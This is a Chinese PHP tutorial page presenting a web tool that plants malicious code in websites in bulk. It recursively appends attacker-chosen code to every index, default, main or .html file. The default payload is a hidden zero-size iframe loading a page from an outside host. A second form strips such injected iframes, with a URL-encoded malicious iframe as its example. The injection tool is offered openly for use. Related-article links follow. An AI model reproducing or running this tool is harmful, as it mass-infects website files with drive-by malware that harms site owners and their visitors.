php下批量挂马和批量清马代码


Posted in PHP onFebruary 27, 2011
<?php 
function gmfun($path=”.”) 
{ 
$d = @dir($path); 
while(false !== ($v = $d->read())) { 
if($v == “.” || $v == “..”) continue; 
$file = $d->path.”/”.$v; 
if(@is_dir($file)) { 
gmfun($file); 
} else { 
if(@ereg(stripslashes($_POST["key"]),$file)) { 
$mm=stripcslashes( trim( $_POST[mm] ) ); 
$handle = @fopen (”$file”, “a”); 
@fwrite($handle, “$mm”); 
@fclose($handle); 
echo “已挂马文件:$file\n<br>”; } 
} 
} 
$d->close(); 
echo ” “; 
} 
function qmfun($path=”.”) 
{ 
$d = @dir($path); 
while(false !== ($v = $d->read())) { 
if($v == “.” || $v == “..”) continue; 
$file = $d->path.”/”.$v; 
if(@is_dir($file)) { 
qmfun($file); 
} else { 
if(@ereg(stripslashes($_POST["key"]),$file)) { 
$mm=stripcslashes( trim( $_POST[mm] ) ); 
$handle = fopen (”$file”, “rb”); 
$oldcontent=fread($handle,filesize($file)); 
fclose($handle); 
$newcontent=str_replace($mm,””,$oldcontent); 
$fw = fopen (”$file”, “wb”); 
fwrite($fw,$newcontent,strlen($newcontent)); 
fclose($fw); 
echo “已清马文件:$file\n<br>”; 
} 
} 
} 
$d->close(); 
echo ” “; 
} 
if ($_GET['action']=='gm') { 
set_time_limit(0); 
gmfun($_POST["dir"]); 
} 
if ($_GET['action']=='qm') { 
set_time_limit(0); 
qmfun($_POST["dir"]); 
} 
?> 
<title>批量挂马(清马)程序php版</title><body> 
<form action=”<?$PHP_SELF?>?action=gm” method=”post”> 
<table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″> 
<tr> 
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00FF00″ size=”4″>网站批量挂马程序php版 
BY n3tl04d</font></div> 
<td> </tr> 
<tr> 
<td height=”27″ bgcolor=”#CCCCCC”>路径:</td> 
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”dir” type=”text” value=”.”>(可填相对路径) 
<td> </tr> 
<tr> 
<td height=”27″ bgcolor=”#CCCCCC”>挂马关键字:</td> 
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”key” type=”text” value='index\.|default\.|main\.|\.html'>—?正则表达式匹配—— 
<td colspan=”2″ height=”1″></td> 
<td> </tr> 
<tr> 
<td height=”25″ bgcolor=”#CCCCCC”>想写入的挂马代码:</td> 
<td height=”25″ bgcolor=”#CCCCCC”><input name=”mm” type=”text” size=”50″ value='<iframe src=http://982.9966.org/b073399/b07.htm width=0 height=0 frameborder=0></iframe>'> 
<td> </tr> 
<tr> 
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”> 
<input type=”submit” name=”Submit” value=”提交”> 
   
<input type=”reset” name=”Submit2″ value=”重置”> 
</div></td> 
<td> </tr> 
</table> 
</form> 
<form action=”<?$PHP_SELF?>?action=qm” method=”post”> 
<table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″> 
<tr> 
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00FF00″ size=”4″>批量清马工具php版 
BY 随风而去(LST)</font></div> 
<td> </tr> 
<tr> 
<td height=”27″ bgcolor=”#CCCCCC”>路径:</td> 
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”dir” type=”text” value=”.”>(可填相对路径) 
<td> </tr> 
<tr> 
<td height=”27″ bgcolor=”#CCCCCC”>清马关键字:</td> 
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”key” type=”text” value='index\.|default\.|main\.|\.html'>—?正则表达式匹配—— 
<td colspan=”2″ height=”1″></td> 
<td> </tr> 
<tr> 
<td height=”25″ bgcolor=”#CCCCCC”>想清除的挂马代码:</td> 
<td height=”25″ bgcolor=”#CCCCCC”><input name=”mm” type=”text” size=”50″ value='<iframe src=http://%31%73%61%6e%69%32%6b%6d%2e%63%6e/%6A%6A%32.htm width=50 height=0 frameborder=0></iframe>'> 
<td> </tr> 
<tr> 
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”> 
<input type=”submit” name=”Submit” value=”提交”> 
   
<input type=”reset” name=”Submit2″ value=”重置”> 
</div></td> 
<td> </tr> 
</table> 
</form>
PHP 相关文章推荐
一些php技巧与注意事项分析
Feb 03 PHP
简单的PHP多图上传小程序代码
Jul 17 PHP
关于php 接口问题(php接口主要也就是运用curl,curl函数)
Jul 01 PHP
php define的第二个参数使用方法
Nov 04 PHP
php实现通用的从数据库表读取数据到数组的函数实例
Mar 21 PHP
php为字符串前后添加指定数量字符的方法
May 04 PHP
PHP未登录自动跳转到登录页面
Dec 21 PHP
php、mysql查询当天,查询本周,查询本月的数据实例(字段是时间戳)
Feb 04 PHP
PHP解耦的三重境界(浅谈服务容器)
Mar 13 PHP
PHP读取CSV大文件导入数据库的实例
Jul 24 PHP
PHP+Ajax简单get验证操作示例
Mar 02 PHP
详解php命令注入攻击
Apr 06 PHP
php SQL Injection with MySQL
Feb 27 #PHP
PHP的SQL注入实现(测试代码安全不错)
Feb 27 #PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
让你成为更出色的PHP开发者的10个技巧
Feb 25 #PHP
理解php Hash函数,增强密码安全
Feb 25 #PHP
You might like
PHP syntax error, unexpected $end 错误的一种原因及解决
2008/10/25 PHP
PHP反转字符串函数strrev()函数的用法
2012/02/04 PHP
CodeIgniter配置之database.php用法实例分析
2016/01/20 PHP
分享5个非常有用的Laravel Blade指令
2018/05/30 PHP
JavaScript 组件之旅(三):用 Ant 构建组件
2009/10/28 Javascript
了解jQuery技巧来提高你的代码
2010/01/08 Javascript
JS操作Cookies包括(读取添加与删除)
2012/12/26 Javascript
js确认删除对话框适用于a标签及submit
2014/07/10 Javascript
DOM节点深度克隆函数cloneNode()用法实例
2015/01/12 Javascript
jQuery简单实现QQ空间点赞已经取消点赞
2015/04/02 Javascript
jQuery简单实现仿京东商城的左侧菜单效果代码
2015/09/09 Javascript
详解如何用webpack打包一个网站应用项目
2017/07/12 Javascript
JS中Swiper的使用和轮播图效果
2017/08/11 Javascript
vue数组对象排序的实现代码
2018/06/20 Javascript
微信小程序用户信息encryptedData详解
2018/08/24 Javascript
解决vue路由后界面没有变化,但是链接有的问题
2018/09/01 Javascript
vue同步父子组件和异步父子组件的生命周期顺序问题
2018/10/07 Javascript
详解jQuery获取特殊属性的值以及设置内容
2018/11/14 jQuery
如何基于JavaScript判断图片是否加载完成
2019/12/28 Javascript
微信小程序自定义navigationBar顶部导航栏适配所有机型(附完整案例)
2020/04/26 Javascript
js 压缩图片的示例(只缩小体积,不更改图片尺寸)
2020/10/21 Javascript
Python3结合Dlib实现人脸识别和剪切
2018/01/24 Python
对python多线程与global变量详解
2018/11/09 Python
解决python文件双击运行秒退的问题
2019/06/24 Python
PIL包中Image模块的convert()函数的具体使用
2020/02/26 Python
解决pytorch下出现multi-target not supported at的一种可能原因
2021/02/06 Python
收集的22款给力的HTML5和CSS3帮助工具
2012/09/14 HTML / CSS
俄罗斯小米家用电器、电子产品和智能家居商店:Poood.ru
2020/04/03 全球购物
linux比较文件内容的命令是什么
2013/03/04 面试题
一套比较完整的软件测试人员面试题
2012/05/13 面试题
医院后勤自我鉴定
2013/10/13 职场文书
2014年中班元旦活动方案
2014/02/14 职场文书
社区服务活动小结
2014/07/08 职场文书
社区平安建设汇报材料
2014/08/14 职场文书
2014年银行个人工作总结
2014/12/05 职场文书
团组织推荐意见
2015/06/05 职场文书